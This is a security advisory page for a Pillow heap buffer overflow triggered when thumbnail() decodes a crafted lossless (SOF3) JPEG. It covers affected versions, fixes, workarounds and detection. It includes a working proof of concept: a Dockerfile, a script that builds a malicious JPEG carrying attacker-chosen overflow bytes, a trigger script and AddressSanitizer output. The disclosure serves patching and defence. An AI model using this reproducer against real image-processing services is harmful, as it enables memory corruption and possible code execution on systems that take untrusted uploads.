NewApp Monitoring is liveSign up free
AgentbeamBeta
Open-source package vulnerability · PyPI

CVE-2026-112403: Pillow: Heap buffer overflow in ImagingJpegDecode

criticalCVSS 4.0 9.2GHSA-8g5g-8vmr-9782

Pillow 12.3.0 and earlier has a heap buffer overflow in `ImagingJpegDecode`. A crafted lossless (SOF3) JPEG makes `Image.thumbnail()` write attacker-chosen bytes past a heap buffer, because libjpeg-turbo 3.x ignores the scale that Pillow's `draft()` requested. Anyone who thumbnails untrusted JPEGs is exposed. Upgrade to Pillow 13.0.0.

Published Oct 20, 2026 · Analysis Oct 21, 2026

What an attacker can do

JpegImageFile.draft(), called automatically by Image.thumbnail(), asks for 1/2, 1/4 or 1/8 scaled output and sizes the decode row buffer to ceil(W/s) samples. libjpeg-turbo 3.x decodes lossless SOF3 JPEGs but forces them to scale 1 and discards the requested scale_denom. It returns full-width rows into the smaller buffer, and ImagingJpegDecode() never compares cinfo.output_width with state->xsize.

Each jpeg_read_scanlines() call writes (W - ceil(W/s)) x components bytes past the allocation. For 8-bit grayscale, the overflowing bytes are the pixel values, so the attacker picks them. The reproducer shows a 1200x1100 file overflowing a 600-byte buffer under AddressSanitizer. Pillow's Python parser already accepts marker 0xFFC3, so the file opens normally, and formats=["JPEG"] does not block it.

The attacker only needs a way to get a JPEG to your code: an upload, an avatar, a scraped page. The impact is memory corruption, so at least a crash, and possibly code execution. Complexity is rated high. The image must be at least 1024 pixels on each side for thumbnail((256, 256)) at default settings.

Who is affected

Affected: Pillow 12.3.0 and earlier, with libjpeg-turbo 3.0 or later. The official wheels bundle that library. Builds against libjpeg-turbo 2.x or IJG libjpeg reject SOF3 before decoding and are not affected. Only code that calls draft() before loading, such as Image.thumbnail(), is affected. open().load() and resize() are not.

pip show pillow
python -c "from PIL import features; print(features.version('jpg'))"

Pillow

Ecosystem
PyPI
Affected
<= 12.3.0
Fixed in
13.0.0
Check
pip show Pillow

How to fix it

Upgrade to Pillow 13.0.0:

pip install --upgrade pillow

Rebuild container images that pin an older Pillow. Until then, the advisory says an application can avoid the path by calling img.load() before thumbnail(), or by using thumbnail(..., reducing_gap=None). Both skip the scaled decode.

How to tell if you were hit

Look for crashes or segfaults in image-processing workers that call thumbnail(), OSError exceptions from JPEG decoding, and uploaded JPEGs whose header uses the SOF3 marker FFC3. Scan stored uploads for that marker. The reproducer's ASan trace shows ImagingJpegDecode in JpegDecode.c as the faulting frame.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

JpegImageFile.draft() — which Image.thumbnail() calls automatically — requests 1/2, 1/4 or 1/8 scaled JPEG output and shrinks self._size and the tile extents to match, so _setimage() allocates a single-row decode buffer of ceil(W/s) samples. ImagingJpegDecode() sets cinfo.scale_num/scale_denom, calls jpeg_start_decompress(), and then reads scanlines into that buffer without ever comparing cinfo.output_width, cinfo.output_height or cinfo.out_color_components against state->xsize, state->ysize and state->bits.

libjpeg-turbo 3.x decodes lossless (SOF3) JPEG, but hardwires lossless streams to no scaling — the requested scale_denom is silently discarded. It therefore returns full-width W-sample rows into a buffer sized for ceil(W/s). Each jpeg_read_scanlines() call writes (W - ceil(W/s)) x components bytes past the end of the heap allocation, and the overflowing bytes are the decoded pixel values, which are byte-exact for an 8-bit grayscale lossless image.

The input is a standards-compliant JPEG, so Image.open(..., formats=["JPEG"]) does not prevent it. Pillow's Python SOF parser already accepts marker 0xFFC3 ("SOF3", "Spatial lossless") at 8-bit precision, so the file opens normally as a JPEG / mode L image at its full declared size.

Affected code

At e41083f383c9cd3db95de52564cc0b6452313d4a (main, 2026-08-29):

  • src/libImaging/JpegDecode.c:224-262 — ImagingJpegDecode(); jpeg_start_decompress() at :240, jpeg_read_scanlines() at :252, with no geometry check between them.
  • src/decode.c:222-231 — _setimage(); state->buffer = calloc(1, state->bytes) with state->bytes = (state->bits * state->xsize + 7) / 8.
  • src/PIL/JpegImagePlugin.py:428-464 — JpegImageFile.draft(); computes s and shrinks _size, the tile extents and decoderconfig with no notion of lossless coding.
  • src/PIL/JpegImagePlugin.py:271 — 0xFFC3: ("SOF3", "Spatial lossless", SOF).
// src/libImaging/JpegDecode.c
            if (context->scale > 1) {
                context->cinfo.scale_num = 1;
                context->cinfo.scale_denom = context->scale;
            }
            ...
        case 2:
            if (!jpeg_start_decompress(&context->cinfo)) {
                break;
            }
            state->state++;
            /* fall through */
        case 3:
            ok = 1;
            while (state->y < state->ysize) {
                ok = jpeg_read_scanlines(&context->cinfo, &state->buffer, 1);

Because state->ysize (ceil(H/s)) can never equal libjpeg's output_height when s >= 2, the decode always ends in an error after the rows have already been written: the caller sees an exception and gets no pixels back. The OSError is a consequence of the overflow, not the issue being reported.

Primitive

Per scanline: a contiguous write of (W - ceil(W/s)) x c bytes immediately past a calloc(ceil(W/s) x c) block, where c = 1 for mode L and 4 for RGB (RGBX) and CMYK; repeated for ceil(H/s) rows over the same region. The buffer size class is chosen by the attacker through W, and for grayscale the overflowing content is an arbitrary attacker-chosen byte string.

Measured in the reproducer below: 1200x1100 mode L, s=2 — a 600-byte allocation, 600 bytes written past it, ASan reporting the whole 1200-byte row write as one memcpy.

Threshold: draft() must select s >= 2, i.e. W // requested_w >= 2 and H // requested_h >= 2. For thumbnail((256,256)) with the default reducing_gap=2.0 that means W, H >= 1024.

Reproduction

Self-contained Docker reproducer (Ubuntu 24.04, clang 20, libjpeg-turbo 3.1.4 and Pillow both built from source with -fsanitize=address; Pillow checked out at ${TARGET_COMMIT}, default e41083f383c9cd3db95de52564cc0b6452313d4a). Save the three files below as Dockerfile, make_sof3.py and trigger.py in an empty directory, then:

docker build -t pillow-sof3-oob . && docker run --rm pillow-sof3-oob

make_sof3.py is a self-contained encoder that emits a standards-compliant 8-bit grayscale lossless-Huffman JPEG (SOI / DHT / SOF3 P=8, Y=1100, X=1200, Nf=1 / SOS Ss=1 predictor 1, Se=0, Ah=Al=0 / entropy-coded row differences / EOI), whose rows carry a repeating marker pattern. trigger.py opens it and calls thumbnail(), whose implicit draft() picks s=2 and allocates a 600-byte row buffer.

Dockerfile

FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
ARG TARGET_COMMIT=e41083f383c9cd3db95de52564cc0b6452313d4a
ARG CLANG_VERSION=20
ARG LIBJPEG_TURBO_TAG=3.1.4

RUN apt-get update && apt-get install -y --no-install-recommends \
        ca-certificates git make cmake nasm pkg-config libc6-dev gcc \
        wget gnupg lsb-release software-properties-common \
        python3 python3-dev python3-pip python3-venv zlib1g-dev \
    && wget -qO /tmp/llvm.sh https://apt.llvm.org/llvm.sh && chmod +x /tmp/llvm.sh && /tmp/llvm.sh ${CLANG_VERSION} \
    && apt-get install -y --no-install-recommends clang-${CLANG_VERSION} llvm-${CLANG_VERSION} libclang-rt-${CLANG_VERSION}-dev \
    && rm -rf /var/lib/apt/lists/*

ENV CC=clang-20
ENV CXX=clang++-20
ENV CFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV CXXFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV LDFLAGS="-fsanitize=address"

# --- libjpeg-turbo 3.x (lossless SOF3 support) built with ASan ---
RUN git clone https://github.com/libjpeg-turbo/libjpeg-turbo /src/libjpeg-turbo
RUN cd /src/libjpeg-turbo && git checkout ${LIBJPEG_TURBO_TAG} \
    && cmake -B /build/ljt -S . -DCMAKE_BUILD_TYPE=None \
        -DCMAKE_C_COMPILER=clang-20 \
        -DCMAKE_C_FLAGS="$CFLAGS" \
        -DCMAKE_EXE_LINKER_FLAGS="$LDFLAGS" \
        -DCMAKE_SHARED_LINKER_FLAGS="$LDFLAGS" \
        -DCMAKE_INSTALL_PREFIX=/opt/ljt -DWITH_JPEG8=0 -DENABLE_STATIC=0 \
    && cmake --build /build/ljt -j"$(nproc)" && cmake --install /build/ljt

# --- Pillow at the pinned commit, built with ASan against that libjpeg ---
RUN git clone https://github.com/python-pillow/Pillow /src/repo
WORKDIR /src/repo
RUN git checkout ${TARGET_COMMIT}

ENV JPEG_ROOT=/opt/ljt
ENV LD_LIBRARY_PATH=/opt/ljt/lib
RUN python3 -m venv /venv \
    && /venv/bin/pip install --quiet --upgrade pip "setuptools>=80" wheel pybind11 \
    && CFLAGS="$CFLAGS" LDFLAGS="$LDFLAGS -Wl,-rpath,/opt/ljt/lib" \
       /venv/bin/pip install --no-build-isolation --no-deps . \
    && ln -sf "$(clang-20 -print-file-name=libclang_rt.asan-x86_64.so)" /opt/libasan.so \
    && LD_PRELOAD=/opt/libasan.so ASAN_OPTIONS=detect_leaks=0 \
       /venv/bin/python3 -c "from PIL import Image, features; print(Image.__version__, features.version('jpg'))"

COPY make_sof3.py /tmp/make_sof3.py
COPY trigger.py /tmp/trigger.py
RUN python3 /tmp/make_sof3.py /tmp/sof3_gray_1200x1100.jpg

ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1
ENV ASAN_SYMBOLIZER_PATH=/usr/lib/llvm-20/bin/llvm-symbolizer
ENV LD_PRELOAD=/opt/libasan.so
CMD ["/bin/sh","-c","cd /tmp && /venv/bin/python3 /tmp/trigger.py 2>&1; echo EXIT=$?"]

make_sof3.py

#!/usr/bin/env python3
"""Generate an 8-bit grayscale lossless-Huffman (SOF3) JPEG.

Standards-compliant per ITU-T T.81 Annex H (lossless mode), predictor 1 (Ra).
Rows carry an attacker-chosen marker byte pattern verbatim (lossless => exact).
"""
import struct
import sys

W = 1200
H = 1100
MARKER = b"AAAABBBBCCCCDDDD"  # attacker-chosen bytes that land past the buffer


class BitWriter:
    def __init__(self):
        self.out = bytearray()
        self.acc = 0
        self.n = 0

    def put(self, value, nbits):
        for i in range(nbits - 1, -1, -1):
            self.acc = (self.acc << 1) | ((value >> i) & 1)
            self.n += 1
            if self.n == 8:
                self.out.append(self.acc)
                if self.acc == 0xFF:
                    self.out.append(0x00)  # byte stuffing
                self.acc = 0
                self.n = 0

    def flush(self):
        while self.n:
            self.put(1, 1)
        return bytes(self.out)


# Canonical Huffman: 17 symbols (categories 0..16), all of code length 5.
BITS = [0] * 17
BITS[5] = 17
HUFFVAL = list(range(17))
CODES = {sym: (i, 5) for i, sym in enumerate(HUFFVAL)}


def category(d):
    if d == 0:
        return 0
    return abs(d).bit_length()


def build_pixels():
    rows = []
    for y in range(H):
        row = bytearray()
        while len(row) < W:
            row += MARKER
        rows.append(bytes(row[:W]))
    return rows


def main(path):
    rows = build_pixels()
    bw = BitWriter()
    prev = None
    for y in range(H):
        row = rows[y]
        for x in range(W):
            s = row[x]
            if y == 0 and x == 0:
                pred = 1 << 7          # 2^(P-1-Pt)
            elif x == 0:
                pred = prev[0]         # Rb for first sample of a line
            else:
                pred = row[x - 1]      # Ra, predictor 1
            d = (s - pred) & 0xFFFF
            if d >= 0x8000:
                d -= 0x10000
            ssss = category(d)
            code, length = CODES[ssss]
            bw.put(code, length)
            if ssss:
                v = d if d > 0 else d + (1 << ssss) - 1
                bw.put(v & ((1 << ssss) - 1), ssss)
        prev = row
    entropy = bw.flush()

    out = bytearray()
    out += b"\xff\xd8"                                        # SOI
    # DHT: class 0 (DC/lossless), table id 0
    dht = bytes([0x00]) + bytes(BITS[1:17]) + bytes(HUFFVAL)
    out += b"\xff\xc4" + struct.pack(">H", len(dht) + 2) + dht
    # SOF3: lossless, Huffman, sequential
    sof = struct.pack(">BHHB", 8, H, W, 1) + bytes([1, 0x11, 0])
    out += b"\xff\xc3" + struct.pack(">H", len(sof) + 2) + sof
    # SOS: Ns=1, Cs=1, Td=0/Ta=0, Ss=1 (predictor 1), Se=0, Ah=0/Al=0
    sos = bytes([1, 1, 0x00, 1, 0, 0])
    out += b"\xff\xda" + struct.pack(">H", len(sos) + 2) + sos
    out += entropy
    out += b"\xff\xd9"                                        # EOI
    with open(path, "wb") as f:
        f.write(bytes(out))
    print(f"wrote {path}: {len(out)} bytes, {W}x{H} 8-bit grayscale SOF3 lossless")


if __name__ == "__main__":
    main(sys.argv[1] if len(sys.argv) > 1 else "/tmp/sof3_gray_1200x1100.jpg")

trigger.py

import sys
from PIL import Image, features
print("Pillow", Image.__version__, "| libjpeg", features.version("jpg"), flush=True)
im = Image.open("/tmp/sof3_gray_1200x1100.jpg")
print("format=%s mode=%s size=%s" % (im.format, im.mode, im.size), flush=True)
print(">>> im.thumbnail((256, 256))  # draft() picks s=2 -> 600-byte row buffer", flush=True)
sys.stdout.flush()
try:
    im.thumbnail((256, 256))
    print("thumbnail returned, size=%s" % (im.size,), flush=True)
except Exception as e:
    print("exception: %r" % (e,), flush=True)

Validated output:

Pillow 13.0.0.dev0 | libjpeg 6.2
format=JPEG mode=L size=(1200, 1100)
>>> im.thumbnail((256, 256))  # draft() picks s=2 -> 600-byte row buffer
=================================================================
==7==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x74e4e904aad8 at pc 0x7784ea4f9422
WRITE of size 1200 at 0x74e4e904aad8 thread T0
    #0 __asan_memcpy
    #1 jcopy_sample_rows /src/libjpeg-turbo/src/wrapper/../jutils.c:121:5
    #2 sep_upsample /src/libjpeg-turbo/src/wrapper/../jdsample.c:100:3
    #3 process_data_simple_main /src/libjpeg-turbo/src/wrapper/../jdmainct.c:317:3
    #4 jpeg_read_scanlines /src/libjpeg-turbo/src/wrapper/../jdapistd.c:359:3
    #5 ImagingJpegDecode /src/repo/src/libImaging/JpegDecode.c:252:22
    #6 _decode /src/repo/src/decode.c:132:14

0x74e4e904aad8 is located 0 bytes after 600-byte region [0x74e4e904a880,0x74e4e904aad8)
allocated by thread T0 here:
    #0 calloc
    #1 _setimage /src/repo/src/decode.c:230:34

SUMMARY: AddressSanitizer: heap-buffer-overflow in __asan_memcpy

Negative control, same image: a baseline DCT JPEG of identical dimensions thumbnails cleanly, because libjpeg honours 1/2 scaling exactly as draft() computed it.

control baseline DCT JPEG: JPEG L (1200, 1100)
thumbnail OK, size = (256, 235) -- no ASan report

Scope and caveats

  • Reproduced on main at e41083f383c9cd3db95de52564cc0b6452313d4a, which is current origin/main as of 2026-08-30. Also reported against 12.3.0.
  • Requires the linked libjpeg to support lossless decoding, i.e. libjpeg-turbo >= 3.0. That is what the official Pillow wheels bundle. Builds against libjpeg-turbo 2.x or IJG libjpeg reject SOF3 before any row is decoded and are not affected.
  • No non-default Pillow configuration is involved: Image.thumbnail() calls draft() by default, and the triggering bytes are entirely file data.
  • Only paths that use draft() before loading are affected. open().load() and resize() decode at scale 1 and are unaffected. Calling img.load() before thumbnail(), or thumbnail(..., reducing_gap=None), avoids the path in an application today.
  • Not affected on the same code path: SOF11 (arithmetic lossless) fails with JERR_ARITH_NOTIMPL before any row; 12- and 16-bit lossless are rejected by Pillow's SOF() because it requires bits == 8; SOF5-7/13-15 fail with JERR_SOF_UNSUPPORTED.

Credit and disclosure

Found by Anthropic using Claude to study the security of open-source software, validated manually by Ada Logics.

This report follows Anthropic's coordinated vulnerability disclosure policy (https://www.anthropic.com/coordinated-vulnerability-disclosure), with a 90-day disclosure window from the date of this report.

Credit goes to Claude (Anthropic) and Ada Logics.

Credited to DavidKorczynski.

Questions

Does `Image.open(..., formats=['JPEG'])` protect me?

No. The lossless file is a standards-compliant JPEG that Pillow opens as a JPEG, so a format allowlist does not stop it.

Which Pillow call triggers the overflow?

Image.thumbnail(), through its implicit draft() call, on a large lossless JPEG. Plain open().load() and resize() decode at scale 1 and are not affected.

Is CVE-2026-112403 exploited in the wild?

No source reports it. It is not in the KEV catalog. The report credits Anthropic's Claude and Ada Logics, who found and validated it.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More PyPI vulnerabilities

All PyPI entries